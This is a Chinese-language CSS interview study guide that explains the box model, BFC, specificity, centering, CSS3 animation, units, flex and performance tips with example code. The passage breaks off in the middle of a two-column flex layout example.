一天快速复习完高频面试题
# 1 CSS
# 盒模型
- 有两种,
IE
盒子模型、W3C
盒子模型;- 盒模型: 内容(
content
)、填充(padding
)、边界(margin
)、 边框(border
);- 区 别:
IE
的content
部分把border
和padding
计算了进去;
标准盒子模型的模型图
从上图可以看到:
- 盒子总宽度 =
width
+padding
+border
+margin
; - 盒子总高度 =
height
+padding
+border
+margin
也就是,width/height
只是内容高度,不包含 padding
和 border
值
IE 怪异盒子模型
从上图可以看到:
- 盒子总宽度 =
width
+margin
; - 盒子总高度 =
height
+margin
;
也就是,width/height
包含了 padding
和 border
值
页面渲染时,
dom
元素所采用的 布局模型。可通过box-sizing
进行设置
通过 box-sizing 来改变元素的盒模型
CSS 中的 box-sizing
属性定义了引擎应该如何计算一个元素的总宽度和总高度
box-sizing: content-box;
默认的标准(W3C)盒模型元素效果,元素的width/height
不包含padding
,border
,与标准盒子模型表现一致box-sizing: border-box;
触发怪异(IE)盒模型元素的效果,元素的width/height
包含padding
,border
,与怪异盒子模型表现一致box-sizing: inherit;
继承父元素box-sizing
属性的值
小结
- 盒子模型构成:内容(
content
)、内填充(padding
)、 边框(border
)、外边距(margin
) IE8
及其以下版本浏览器,未声明DOCTYPE
,内容宽高会包含内填充和边框,称为怪异盒模型(IE
盒模型)- 标准(
W3C
)盒模型:元素宽度 =width + padding + border + margin
- 怪异(
IE
)盒模型:元素宽度 =width + margin
- 标准浏览器通过设置 css3 的
box-sizing: border-box
属性,触发“怪异模式”解析计算宽高
# BFC
块级格式化上下文,是一个独立的渲染区域,让处于
BFC
内部的元素与外部的元素相互隔离,使内外元素的定位不会相互影响。
IE
下为Layout
,可通过zoom:1
触发
触发条件:
- 根元素,即HTML元素
- 绝对定位元素
position: absolute/fixed
- 行内块元素
display
的值为inline-block
、table
、flex
、inline-flex
、grid
、inline-grid
- 浮动元素:
float
值为left
、right
overflow值
不为visible
,为auto
、scroll
、hidden
规则:
- 属于同一个
BFC
的两个相邻Box
垂直排列 - 属于同一个
BFC
的两个相邻Box
的margin
会发生重叠 BFC
中子元素的margin box
的左边, 与包含块 (BFC)border box
的左边相接触 (子元素absolute
除外)
在CSS中,BFC代表"块级格式化上下文"(Block Formatting Context),是一个用于布局元素的概念。一个元素形成了BFC之后,会根据BFC的规则来进行布局和定位。在理解BFC中子元素的margin box
与包含块(BFC)的border box
相接触的概念时,可以考虑以下要点:
- 外边距折叠(Margin Collapsing): 在正常情况下,块级元素的外边距会折叠,即相邻元素的外边距会取两者之间的最大值,而不是简单相加。但是,当一个元素形成了BFC时,它的外边距不会和其内部的子元素的外边距折叠。
- 相邻边界情况: BFC中子元素的
margin box
的左边会与包含块的border box
的左边相接触,这意味着子元素的外边距不会穿过包含块的边界,从而保证布局的合理性。
下面是一个示例代码,帮助你更好地理解这个概念:
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<div class="container">
<div class="child">Child Element</div>
</div>
</body>
</html>
CSS (styles.css
):
.container {
border: 2px solid black; /* 包含块的边框 */
overflow: hidden; /* 创建 BFC */
}
.child {
margin: 20px; /* 子元素的外边距 */
padding: 10px; /* 子元素的内边距 */
background-color: lightgray;
}
在这个示例中,.container
元素创建了一个BFC(通过设置overflow: hidden;
),而.child
是.container
的子元素。由于.child
的外边距和内边距,我们可以看到以下效果:
.child
元素的margin box
的外边界会与.container
的border box
的左边界相接触,这意味着.child
的外边距不会超出.container
的边界。- 由于
.container
创建了BFC,.child
的外边距不会与.container
的外边距折叠。
通过这个示例,你可以更好地理解BFC中子元素的margin box
与包含块的border box
之间的关系,以及BFC对布局的影响。
BFC
的区域不会与float
的元素区域重叠- 计算
BFC
的高度时,浮动子元素也参与计算 - 文字层不会被浮动层覆盖,环绕于周围
应用:
- 利用
2
:阻止margin
重叠 - 利用
4
:自适应两栏布局 - 利用
5
,可以避免高度塌陷 - 可以包含浮动元素 —— 清除内部浮动(清除浮动的原理是两个
div
都位于同一个BFC
区域之中)
示例
1. 防止margin重叠(塌陷)
<style>
p {
color: #f55;
background: #fcc;
width: 200px;
line-height: 100px;
text-align:center;
margin: 100px;
}
</style>
<body>
<p>Haha</p >
<p>Hehe</p >
</body>
- 两个
p
元素之间的距离为100px
,发生了margin
重叠(塌陷),以最大的为准,如果第一个P
的margin
为80
的话,两个P
之间的距离还是100
,以最大的为准。 - 同一个
BFC
的俩个相邻的盒子的margin
会发生重叠 - 可以在
p
外面包裹一层容器,并触发这个容器生成一个BFC
,那么两个p
就不属于同一个BFC
,则不会出现margin
重叠
<style>
.wrap {
overflow: hidden;// 新的BFC
}
p {
color: #f55;
background: #fcc;
width: 200px;
line-height: 100px;
text-align:center;
margin: 100px;
}
</style>
<body>
<p>Haha</p >
<div class="wrap">
<p>Hehe</p >
</div>
</body>
这时候,边距则不会重叠:
2. 清除内部浮动
<style>
.par {
border: 5px solid #fcc;
width: 300px;
}
.child {
border: 5px solid #f66;
width:100px;
height: 100px;
float: left;
}
</style>
<body>
<div class="par">
<div class="child"></div>
<div class="child"></div>
</div>
</body>
而BFC
在计算高度时,浮动元素也会参与,所以我们可以触发.par
元素生成BFC
,则内部浮动元素计算高度时候也会计算
.par {
overflow: hidden;
}
3. 自适应多栏布局
这里举个两栏的布局
<style>
body {
width: 300px;
position: relative;
}
.aside {
width: 100px;
height: 150px;
float: left;
background: #f66;
}
.main {
height: 200px;
background: #fcc;
}
</style>
<body>
<div class="aside"></div>
<div class="main"></div>
</body>
- 每个元素的左外边距与包含块的左边界相接触
- 因此,虽然
.aslide
为浮动元素,但是main的左边依然会与包含块的左边相接触,而BFC
的区域不会与浮动盒子重叠 - 所以我们可以通过触发
main
生成BFC
,以此适应两栏布局
.main {
overflow: hidden;
}
这时候,新的BFC
不会与浮动的.aside
元素重叠。因此会根据包含块的宽度,和.aside
的宽度,自动变窄
# 选择器权重计算方式
!important > 内联样式 = 外联样式 > ID选择器 > 类选择器 = 伪类选择器 = 属性选择器 > 元素选择器 = 伪元素选择器 > 通配选择器 = 后代选择器 = 兄弟选择器
- 属性后面加
!important
会覆盖页面内任何位置定义的元素样式 - 作为
style
属性写在元素内的样式 id
选择器- 类选择器
- 标签选择器
- 通配符选择器(
*
) - 浏览器自定义或继承
同一级别:后写的会覆盖先写的
css选择器的解析原则:选择器定位DOM元素是从右往左的方向,这样可以尽早的过滤掉一些不必要的样式规则和元素
# 清除浮动
- 在浮动元素后面添加
clear:both
的空div
元素
<div class="container">
<div class="left"></div>
<div class="right"></div>
<div style="clear:both"></div>
</div>
- 给父元素添加
overflow:hidden
或者auto
样式,触发BFC
<div class="container">
<div class="left"></div>
<div class="right"></div>
</div>
.container{
width: 300px;
background-color: #aaa;
overflow:hidden;
zoom:1; /*IE6*/
}
- 使用伪元素,也是在元素末尾添加一个点并带有
clear: both
属性的元素实现的。
<div class="container clearfix">
<div class="left"></div>
<div class="right"></div>
</div>
.clearfix{
zoom: 1; /*IE6*/
}
.clearfix:after{
content: ".";
height: 0;
clear: both;
display: block;
visibility: hidden;
}
推荐使用第三种方法,不会在页面新增div,文档结构更加清晰
# 垂直居中的方案
- 利用绝对定位+transform,设置
left: 50%
和top: 50%
现将子元素左上角移到父元素中心位置,然后再通过translate
来调整子元素的中心点到父元素的中心。该方法可以不定宽高
.father {
position: relative;
}
.son {
position: absolute;
left: 50%;
top: 50%;
transform: translate(-50%, -50%);
}
- 利用绝对定位+margin:auto,子元素所有方向都为
0
,将margin
设置为auto
,由于宽高固定,对应方向实现平分,该方法必须盒子有宽高
.father {
position: relative;
}
.son {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0px;
margin: auto;
height: 100px;
width: 100px;
}
- 利用绝对定位+margin:负值,设置
left: 50%
和top: 50%
现将子元素左上角移到父元素中心位置,然后再通过margin-left
和margin-top
以子元素自己的一半宽高进行负值赋值。该方法必须定宽高
.father {
position: relative;
}
.son {
position: absolute;
left: 50%;
top: 50%;
width: 200px;
height: 200px;
margin-left: -100px;
margin-top: -100px;
}
- 利用 flex ,最经典最方便的一种了,不用解释,定不定宽高无所谓
<style>
.father {
display: flex;
justify-content: center;
align-items: center;
width: 200px;
height: 200px;
background: skyblue;
}
.son {
width: 100px;
height: 100px;
background: red;
}
</style>
<div class="father">
<div class="son"></div>
</div>
- grid网格布局
<style>
.father {
display: grid;
align-items:center;
justify-content: center;
width: 200px;
height: 200px;
background: skyblue;
}
.son {
width: 10px;
height: 10px;
border: 1px solid red
}
</style>
<div class="father">
<div class="son"></div>
</div>
- table布局
设置父元素为display:table-cell
,子元素设置 display: inline-block
。利用vertical
和text-align
可以让所有的行内块级元素水平垂直居中
<style>
.father {
display: table-cell;
width: 200px;
height: 200px;
background: skyblue;
vertical-align: middle;
text-align: center;
}
.son {
display: inline-block;
width: 100px;
height: 100px;
background: red;
}
</style>
<div class="father">
<div class="son"></div>
</div>
小结
不知道元素宽高大小仍能实现水平垂直居中的方法有:
利用绝对定位+transform
flex
布局grid
布局
根据元素标签的性质,可以分为:
- 内联元素居中布局
- 块级元素居中布局
内联元素居中布局
- 水平居中
- 行内元素可设置:
text-align: center
flex
布局设置父元素:display: flex; justify-content: center
- 行内元素可设置:
- 垂直居中
- 单行文本父元素确认高度:
height === line-height
- 多行文本父元素确认高度:
display: table-cell; vertical-align: middle
- 单行文本父元素确认高度:
块级元素居中布局
- 水平居中
- 定宽:
margin: 0 auto
绝对定位+left:50%+margin:负自身一半
- 定宽:
- 垂直居中
position: absolute
设置left
、top
、margin-left
、margin-top
(定高)display: table-cell
transform: translate(x, y)
flex
(不定高,不定宽)grid
(不定高,不定宽),兼容性相对比较差
# CSS3的新特性
1. 是什么
css,即层叠样式表(Cascading Style Sheets)的简称,是一种标记语言,由浏览器解释执行用来使页面变得更美观
css3
是css的最新标准,是向后兼容的,CSS1/2
的特性在 CSS3
里都是可以使用的
而 CSS3
也增加了很多新特性,为开发带来了更佳的开发体验
2. 选择器
css3
中新增了一些选择器,主要为如下图所示:
3. 新样式
- 边框
css3
新增了三个边框属性,分别是:border-radius
:创建圆角边框box-shadow
:为元素添加阴影border-image
:使用图片来绘制边框
- box-shadow 设置元素阴影,设置属性如下(其中水平阴影和垂直阴影是必须设置的)
- 水平阴影
- 垂直阴影
- 模糊距离(虚实)
- 阴影尺寸(影子大小)
- 阴影颜色
- 内/外阴影
- 背景 新增了几个关于背景的属性,分别是
background-clip
、background-origin
、background-size
和background-break
background-clip
用于确定背景画区,有以下几种可能的属性:通常情况,背景都是覆盖整个元素的,利用这个属性可以设定背景颜色或图片的覆盖范围background-clip: border-box
; 背景从border
开始显示background-clip: padding-box
; 背景从padding
开始显示background-clip: content-box
; 背景显content
区域开始显示background-clip: no-clip
; 默认属性,等同于border-box
background-origin
当我们设置背景图片时,图片是会以左上角对齐,但是是以border
的左上角对齐还是以padding
的左上角或者content
的左上角对齐?border-origin
正是用来设置这个的background-origin: border-box
; 从border
开始计算background-position
background-origin: padding-box
; 从padding
开始计算background-position
background-origin: content-box
; 从content
开始计算background-position
- 默认情况是
padding-box
,即以padding
的左上角为原点
background-size
常用来调整背景图片的大小,主要用于设定图片本身。有以下可能的属性:background-size: contain
; 缩小图片以适合元素(维持像素长宽比)background-size: cover
; 扩展元素以填补元素(维持像素长宽比)background-size: 100px 100px
; 缩小图片至指定的大小background-size: 50% 100%
; 缩小图片至指定的大小,百分比是相对包 含元素的尺寸
background-break
元素可以被分成几个独立的盒子(如使内联元素span
跨越多行),background-break
属性用来控制背景怎样在这些不同的盒子中显示background-break: continuous
; 默认值。忽略盒之间的距离(也就是像元素没有分成多个盒子,依然是一个整体一样)background-break: bounding-box
; 把盒之间的距离计算在内;background-break: each-box
; 为每个盒子单独重绘背景
- 文字
word-wrap: normal|break-word
normal
:使用浏览器默认的换行break-all
:允许在单词内换行
text-overflow
设置或检索当当前行超过指定容器的边界时如何显示,属性有两个值选择clip
:修剪文本ellipsis
:显示省略符号来代表被修剪的文本
text-shadow
可向文本应用阴影。能够规定水平阴影、垂直阴影、模糊距离,以及阴影的颜色text-decoration
CSS3里面开始支持对文字的更深层次的渲染,具体有三个属性可供设置:text-fill-color
: 设置文字内部填充颜色text-stroke-color
: 设置文字边界填充颜色text-stroke-width
: 设置文字边界宽度
- 颜色
css3
新增了新的颜色表示方式rgba
与hsla
rgba
分为两部分,rgb
为颜色值,a
为透明度hala
分为四部分,h
为色相,s
为饱和度,l
为亮度,a
为透明度
4. transition 过渡
transition
属性可以被指定为一个或多个CSS属性的过渡效果,多个属性之间用逗号进行分隔,必须规定两项内容:
- 过度效果
- 持续时间
transition: CSS属性,花费时间,效果曲线(默认ease),延迟时间(默认0)
上面为简写模式,也可以分开写各个属性
transition-property: width;
transition-duration: 1s;
transition-timing-function: linear;
transition-delay: 2s;
5. transform 转换
transform
属性允许你旋转,缩放,倾斜或平移给定元素transform-origin
:转换元素的位置(围绕那个点进行转换),默认值为(x,y,z):(50%,50%,0)
使用方式:
transform: translate(120px, 50%)
:位移transform: scale(2, 0.5)
:缩放transform: rotate(0.5turn)
:旋转transform: skew(30deg, 20deg)
:倾斜
6. animation 动画
动画这个平常用的也很多,主要是做一个预设的动画。和一些页面交互的动画效果,结果和过渡应该一样,让页面不会那么生硬
animation
也有很多的属性
animation-name
:动画名称animation-duration
:动画持续时间animation-timing-function
:动画时间函数animation-delay
:动画延迟时间animation-iteration-count
:动画执行次数,可以设置为一个整数,也可以设置为infinite,意思是无限循环animation-direction
:动画执行方向animation-paly-state
:动画播放状态animation-fill-mode
:动画填充模式
7. 渐变
颜色渐变是指在两个颜色之间平稳的过渡,css3
渐变包括
linear-gradient
:线性渐变background-image: linear-gradient(direction, color-stop1, color-stop2, ...)
;radial-gradient
:径向渐变linear-gradient(0deg, red, green)
8. 其他
Flex
弹性布局Grid
栅格布局- 媒体查询
@media screen and (max-width: 960px) {}
还有打印print
transition和animation的区别
Animation
和transition
大部分属性是相同的,他们都是随时间改变元素的属性值,他们的主要区别是transition
需要触发一个事件才能改变属性,而animation
不需要触发任何事件的情况下才会随时间改变属性值,并且transition
为2帧,从from .... to
,而animation
可以一帧一帧的
# CSS动画和过渡
常见的动画效果有很多,如平移
、旋转
、缩放
等等,复杂动画则是多个简单动画的组合
css实现动画的方式,有如下几种:
transition
实现渐变动画transform
转变动画animation
实现自定义动画
1. transition 实现渐变动画
transition的属性如下:
transition-property:填写需要变化的css属性
transition-duration:完成过渡效果需要的时间单位(s或者ms)默认是 0
transition-timing-function:完成效果的速度曲线
transition-delay: (规定过渡效果何时开始。默认是
0)
一般情况下,我们都是写一起的,比如:
transition: width 2s ease 1s
其中timing-function
的值有如下:
值 | 描述 |
---|---|
linear | 匀速(等于 cubic-bezier(0,0,1,1) ) |
ease | 从慢到快再到慢(cubic-bezier(0.25,0.1,0.25,1) ) |
ease-in | 慢慢变快(等于 cubic-bezier(0.42,0,1,1) ) |
ease-out | 慢慢变慢(等于 cubic-bezier(0,0,0.58,1) ) |
ease-in-out | 先变快再到慢(等于 cubic-bezier(0.42,0,0.58,1) ),渐显渐隐效果 |
cubic-bezier(*n*,*n*,*n*,*n*) | 在 cubic-bezier 函数中定义自己的值。可能的值是 0 至 1 之间的数值 |
注意:并不是所有的属性都能使用过渡的,如display:none<->display:block
举个例子,实现鼠标移动上去发生变化动画效果
<style>
.base {
width: 100px;
height: 100px;
display: inline-block;
background-color: #0EA9FF;
border-width: 5px;
border-style: solid;
border-color: #5daf34;
transition-property: width, height, background-color, border-width;
transition-duration: 2s;
transition-timing-function: ease-in;
transition-delay: 500ms;
}
/*简写*/
/*transition: all 2s ease-in 500ms;*/
.base:hover {
width: 200px;
height: 200px;
background-color: #5daf34;
border-width: 10px;
border-color: #3a8ee6;
}
</style>
<div class="base"></div>
2. transform 转变动画
包含四个常用的功能:
translate(x,y)
:位移scale
:缩放rotate
:旋转skew
:倾斜
一般配合transition
过度使用
注意的是,
transform
不支持inline元
素,使用前把它变成block
举个例子
<style>
.base {
width: 100px;
height: 100px;
display: inline-block;
background-color: #0EA9FF;
border-width: 5px;
border-style: solid;
border-color: #5daf34;
transition-property: width, height, background-color, border-width;
transition-duration: 2s;
transition-timing-function: ease-in;
transition-delay: 500ms;
}
.base2 {
transform: none;
transition-property: transform;
transition-delay: 5ms;
}
.base2:hover {
transform: scale(0.8, 1.5) rotate(35deg) skew(5deg) translate(15px, 25px);
}
</style>
<div class="base base2"></div>
可以看到盒子发生了旋转,倾斜,平移,放大
3. animation 实现自定义动画
一个关键帧动画,最少包含两部分,
animation
属性及属性值(动画的名称和运行方式运行时间等)@keyframes
(规定动画的具体实现过程)
animation
是由 8
个属性的简写,分别如下:
属性 | 描述 | 属性值 |
---|---|---|
animation-duration | 指定动画完成一个周期所需要时间,单位秒(s )或毫秒(ms ),默认是 0 | |
animation-timing-function | 指定动画计时函数,即动画的速度曲线,默认是 "ease " | linear 、ease 、ease-in 、ease-out 、ease-in-out |
animation-delay | 指定动画延迟时间,即动画何时开始,默认是 0 | |
animation-iteration-count | 指定动画播放的次数,默认是 1 。但我们一般用infinite ,一直播放 | |
animation-direction 指定动画播放的方向 | 默认是 normal | normal 、reverse 、alternate 、alternate-reverse |
animation-fill-mode | 指定动画填充模式。默认是 none | forwards 、backwards 、both |
animation-play-state | 指定动画播放状态,正在运行或暂停。默认是 running | running 、pauser |
animation-name | 指定 @keyframes 动画的名称 |
CSS
动画只需要定义一些关键的帧,而其余的帧,浏览器会根据计时函数插值计算出来,
@keyframes
定义关键帧,可以是from->to
(等同于0%
和100%
),也可以是从0%->100%
之间任意个的分层设置
因此,如果我们想要让元素旋转一圈,只需要定义开始和结束两帧即可:
@keyframes rotate{
from {
transform: rotate(0deg);
}
to {
transform: rotate(360deg);
}
}
from
表示最开始的那一帧,to
表示结束时的那一帧
也可以使用百分比刻画生命周期
@keyframes rotate{
0%{
transform: rotate(0deg);
}
50%{
transform: rotate(180deg);
}
100%{
transform: rotate(360deg);
}
}
定义好了关键帧后,下来就可以直接用它了:
animation: rotate 2s;
总结
属性 | 含义 |
---|---|
transition(过度) | 用于设置元素的样式过度,和animation 有着类似的效果,但细节上有很大的不同 |
transform(变形) | 用于元素进行旋转、缩放、移动或倾斜,和设置样式的动画并没有什么关系,就相当于color 一样用来设置元素的“外表” |
translate(移动) | 只是transform 的一个属性值,即移动 |
animation(动画) | 用于设置动画属性,他是一个简写的属性,包含6 个属性 |
4. 用css3动画使一个图片旋转
#loader {
display: block;
position: relative;
animation: spin 2s linear infinite;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
# 有哪些方式(CSS)可以隐藏页面元素
opacity:0
:本质上是将元素的透明度将为0
,就看起来隐藏了,但是依然占据空间且可以交互display:none
: 这个是彻底隐藏了元素,元素从文档流中消失,既不占据空间也不交互,也不影响布局visibility:hidden
: 与上一个方法类似的效果,占据空间,但是不可以交互了overflow:hidden
: 这个只隐藏元素溢出的部分,但是占据空间且不可交互z-index:-9999
: 原理是将层级放到底部,这样就被覆盖了,看起来隐藏了transform:scale(0,0)
: 平面变换,将元素缩放为0
,但是依然占据空间,但不可交互
display: none 与 visibility: hidden 的区别
- 修改常规流中元素的
display
通常会造成文档重排。修改visibility
属性只会造成本元素的重绘 - 读屏器不会读取
display:none
;元素内容;会读取visibility:hidden;
元素内容 display:none
;会让元素完全从渲染树中消失,渲染的时候不占据任何空间;visibility:hidden
;不会让元素从渲染树消失,渲染时元素继续占据空间,只是内容不可见display:none
;是非继承属性,子孙节点消失由于元素从渲染树消失造成,通过修改子孙节点属性无法显示;visibility:hidden;
是继承属性,子孙节点消失由于继承了hidden
,通过设置visibility:visible;
可以让子孙节点显式
# 说说em/px/rem/vh/vw区别
- 传统的项目开发中,我们只会用到
px
、%
、em
这几个单位,它可以适用于大部分的项目开发,且拥有比较良好的兼容性 - 从
CSS3
开始,浏览器对计量单位的支持又提升到了另外一个境界,新增了rem
、vh
、vw
、vm
等一些新的计量单位 - 利用这些新的单位开发出比较良好的响应式页面,适应多种不同分辨率的终端,包括移动设备等
- 在
css
单位中,可以分为长度单位、绝对单位,如下表所指示
CSS单位 | |
---|---|
相对长度单位 | em 、ex 、ch 、rem 、vw 、vh 、vmin 、vmax 、% |
绝对长度单位 | cm 、mm 、in 、px 、pt 、pc |
这里我们主要讲述px
、em
、rem
、vh
、vw
px
px
,表示像素,所谓像素就是呈现在我们显示器上的一个个小点,每个像素点都是大小等同的,所以像素为计量单位被分在了绝对长度单位中
有些人会把px
认为是相对长度,原因在于在移动端中存在设备像素比,px
实际显示的大小是不确定的
这里之所以认为px
为绝对单位,在于px
的大小和元素的其他属性无关
em
em
是相对长度单位。相对于当前对象内文本的字体尺寸。如当前对行内文本的字体尺寸未被人为设置,则相对于浏览器的默认字体尺寸(1em = 16px
)
为了简化 font-size
的换算,我们需要在css
中的 body
选择器中声明font-size
= 62.5%
,这就使 em 值变为 16px*62.5% = 10px
这样 12px = 1.2em
, 10px = 1em
, 也就是说只需要将你的原来的px
数值除以 10,然后换上 em
作为单位就行了
特点:
em
的值并不是固定的em
会继承父级元素的字体大小em
是相对长度单位。相对于当前对象内文本的字体尺寸。如当前对行内文本的字体尺寸未被人为设置,则相对于浏览器的默认字体尺寸- 任意浏览器的默认字体高都是
16px
举个例子
<div class="big">
我是14px=1.4rem<div class="small">我是12px=1.2rem</div>
</div>
样式为
<style>
html {font-size: 10px; } /* 公式16px*62.5%=10px */
.big{font-size: 1.4rem}
.small{font-size: 1.2rem}
</style>
这时候.big
元素的font-size
为14px
,而.small
元素的font-size
为12px
rem(常用)
- 根据屏幕的分辨率动态设置
html
的文字大小,达到等比缩放的功能 - 保证
html
最终算出来的字体大小,不能小于12px
- 在不同的移动端显示不同的元素比例效果
- 如果
html
的font-size:20px
的时候,那么此时的1rem = 20px
- 把设计图的宽度分成多少分之一,根据实际情况
rem
做盒子的宽度,viewport
缩放
head
加入常见的meta
属性
<meta name="format-detection" content="telephone=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<!--这个是关键-->
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0,minimum-scale=1.0">
把这段代码加入head
中的script
预先加载
// rem适配用这段代码动态计算html的font-size大小
(function(win) {
var docEl = win.document.documentElement;
var timer = '';
function changeRem() {
var width = docEl.getBoundingClientRect().width;
if (width > 750) { // 750是设计稿大小
width = 750;
}
var fontS = width / 10; // 把设备宽度十等分 1rem<=75px
docEl.style.fontSize = fontS + "px";
}
win.addEventListener("resize", function() {
clearTimeout(timer);
timer = setTimeout(changeRem, 30);
}, false);
win.addEventListener("pageshow", function(e) {
if (e.persisted) { //清除缓存
clearTimeout(timer);
timer = setTimeout(changeRem, 30);
}
}, false);
changeRem();
})(window)
(function flexible (window, document) {
var docEl = document.documentElement
var dpr = window.devicePixelRatio || 1
// adjust body font size
function setBodyFontSize () {
if (document.body) {
document.body.style.fontSize = (12 * dpr) + 'px'
}
else {
document.addEventListener('DOMContentLoaded', setBodyFontSize)
}
}
setBodyFontSize();
// set 1rem = viewWidth / 10
function setRemUnit () {
var rem = docEl.clientWidth / 10
docEl.style.fontSize = rem + 'px'
}
setRemUnit()
// reset rem unit on page resize
window.addEventListener('resize', setRemUnit)
window.addEventListener('pageshow', function (e) {
if (e.persisted) {
setRemUnit()
}
})
// detect 0.5px supports
if (dpr >= 2) {
var fakeBody = document.createElement('body')
var testElement = document.createElement('div')
testElement.style.border = '.5px solid transparent'
fakeBody.appendChild(testElement)
docEl.appendChild(fakeBody)
if (testElement.offsetHeight === 1) {
docEl.classList.add('hairlines')
}
docEl.removeChild(fakeBody)
}
}(window, document))
vh、vw
vw
,就是根据窗口的宽度,分成100
等份,100vw
就表示满宽,50vw
就表示一半宽。(vw
始终是针对窗口的宽),同理,vh
则为窗口的高度
这里的窗口分成几种情况:
- 在桌面端,指的是浏览器的可视区域
- 移动端指的就是布局视口
像vw
、vh
,比较容易混淆的一个单位是%
,不过百分比宽泛的讲是相对于父元素:
- 对于普通定位元素就是我们理解的父元素
- 对于
position: absolute;
的元素是相对于已定位的父元素 - 对于
position: fixed;
的元素是相对于ViewPort
(可视窗口)
总结
- px:绝对单位,页面按精确像素展示
- %:相对于父元素的宽度比例
- em:相对单位,基准点为父节点字体的大小,如果自身定义了
font-size
按自身来计算(浏览器默认字体是16px
),整个页面内1em
不是一个固定的值 - rem:相对单位,可理解为
root em
, 相对根节点html
的字体大小来计算 - vh、vw:主要用于页面视口大小布局,在页面布局上更加方便简单
vw
:屏幕宽度的1%
vh
:屏幕高度的1%
vmin
:取vw
和vh
中较小的那个(如:10vh=100px 10vw=200px
则vmin=10vh=100px
)vmax
:取vw
和vh
中较大的那个(如:10vh=100px 10vw=200px
则vmax=10vw=200px
)
# flex布局
很多时候我们会用到 flex: 1
,它具体包含了以下的意思
flex-grow: 1
:该属性默认为0
,如果存在剩余空间,元素也不放大。设置为1
代表会放大。flex-shrink: 1
:该属性默认为 `1 ,如果空间不足,元素缩小。flex-basis: 0%
:该属性定义在分配多余空间之前,元素占据的主轴空间。浏览器就是根据这个属性来计算是否有多余空间的。默认值为auto
,即项目本身大小。设置为0%
之后,因为有flex-grow
和flex-shrink
的设置会自动放大或缩小。在做两栏布局时,如果右边的自适应元素flex-basis
设为auto
的话,其本身大小将会是0
# 如果要做优化,CSS提高性能的方法有哪些?
实现方式有很多种,主要有如下:
- 内联首屏关键CSS
- 在打开一个页面,页面首要内容出现在屏幕的时间影响着用户的体验,而通过内联
css
关键代码能够使浏览器在下载完html
后就能立刻渲染 - 而如果外部引用
css
代码,在解析html
结构过程中遇到外部css
文件,才会开始下载css
代码,再渲染 - 所以,
CSS
内联使用使渲染时间提前 - 注意:但是较大的
css
代码并不合适内联(初始拥塞窗口、没有缓存),而其余代码则采取外部引用方式
- 在打开一个页面,页面首要内容出现在屏幕的时间影响着用户的体验,而通过内联
- 异步加载CSS
- 在CSS文件请求、下载、解析完成之前,CSS会阻塞渲染,浏览器将不会渲染任何已处理的内容
- 前面加载内联代码后,后面的外部引用css则没必要阻塞浏览器渲染。这时候就可以采取异步加载的方案,主要有如下:
- 使用javascript将
link
标签插到head
标签最后
// 创建link标签 const myCSS = document.createElement( "link" ); myCSS.rel = "stylesheet"; myCSS.href = "mystyles.css"; // 插入到header的最后位置 document.head.insertBefore( myCSS, document.head.childNodes[ document.head.childNodes.length - 1 ].nextSibling )
- 设置
link
标签media
属性为noexis
,浏览器会认为当前样式表不适用当前类型,会在不阻塞页面渲染的情况下再进行下载。加载完成后,将media的值设为screen
或all
,从而让浏览器开始解析CSS
<link rel="stylesheet" href="mystyles.css" media="noexist" onload="this.media='all'">
- 通过
rel
属性将link
元素标记为alternate
可选样式表,也能实现浏览器异步加载。同样别忘了加载完成之后,将rel
设回stylesheet
<link rel="alternate stylesheet" href="mystyles.css" onload="this.rel='stylesheet'">
- 使用javascript将
- 资源压缩
- 利用
webpack
、gulp/grunt
、rollup
等模块化工具,将css
代码进行压缩,使文件变小,大大降低了浏览器的加载时间
- 利用
- 合理使用选择器
- css匹配的规则是从右往左开始匹配,例如
#markdown .content h3
匹配规则如下:- 先找到
h3
标签元素 - 然后去除祖先不是
.content
的元素 - 最后去除祖先不是
#markdown
的元素
- 先找到
- 如果嵌套的层级更多,页面中的元素更多,那么匹配所要花费的时间代价自然更高
- 所以我们在编写选择器的时候,可以遵循以下规则:
- 不要嵌套使用过多复杂选择器,最好不要三层以上
- 使用id选择器就没必要再进行嵌套
- 通配符和属性选择器效率最低,避免使用
- css匹配的规则是从右往左开始匹配,例如
- 减少使用昂贵的属性
- 在页面发生重绘的时候,昂贵属性如
box-shadow/border-radius/filter/透明度/:nth-child
等,会降低浏览器的渲染性能
- 在页面发生重绘的时候,昂贵属性如
- 不要使用@import
- css样式文件有两种引入方式,一种是
link
元素,另一种是@import
@import
会影响浏览器的并行下载,使得页面在加载时增加额外的延迟,增添了额外的往返耗时- 而且多个
@import
可能会导致下载顺序紊乱 - 比如一个css文件
index.css
包含了以下内容:@import url("reset.css")
- 那么浏览器就必须先把
index.css
下载、解析和执行后,才下载、解析和执行第二个文件reset.css
- css样式文件有两种引入方式,一种是
- 其他
- 减少重排操作,以及减少不必要的重绘
- 了解哪些属性可以继承而来,避免对这些属性重复编写
css Sprite
,合成所有icon
图片,用宽高加上backgroud-position
的背景图方式显现出我们要的icon
图,减少了http
请求- 把小的
icon
图片转成base64
编码 - CSS3动画或者过渡尽量使用
transform
和opacity
来实现动画,不要使用left
和top
属性
# 画一条 0.5px 的线
- 采用
meta viewport
的方式<meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
- 采用
border-image
的方式 - 采用
transform: scale()
的方式
# 如何画一个三角形
三角形原理:边框的均分原理
div {
width:0px;
height:0px;
border-top:10px solid red;
border-right:10px solid transparent;
border-bottom:10px solid transparent;
border-left:10px solid transparent;
}
# 两栏布局:左边定宽,右边自适应方案
<div class="box">
<div class="box-left"></div>
<div class="box-right"></div>
</div>
利用float + margin实现
.box {
height: 200px;
}
.box > div {
height: 100%;
}
.box-left {
width: 200px;
float: left;
background-color: blue;
}
.box-right {
margin-left: 200px;
background-color: red;
}
利用calc计算宽度
.box {
height: 200px;
}
.box > div {
height: 100%;
}
.box-left {
width: 200px;
float: left;
background-color: blue;
}
.box-right {
width: calc(100% - 200px);
float: right;
background-color: red;
}
利用float + overflow实现
.box {
height: 200px;
}
.box > div {
height: 100%;
}
.box-left {
width: 200px;
float: left;
background-color: blue;
}
.box-right {
overflow: hidden;
background-color: red;
}
利用flex实现
.box {
height: 200px;
display: flex;
}
.box > div {
height: 100%;
}
.box-left {
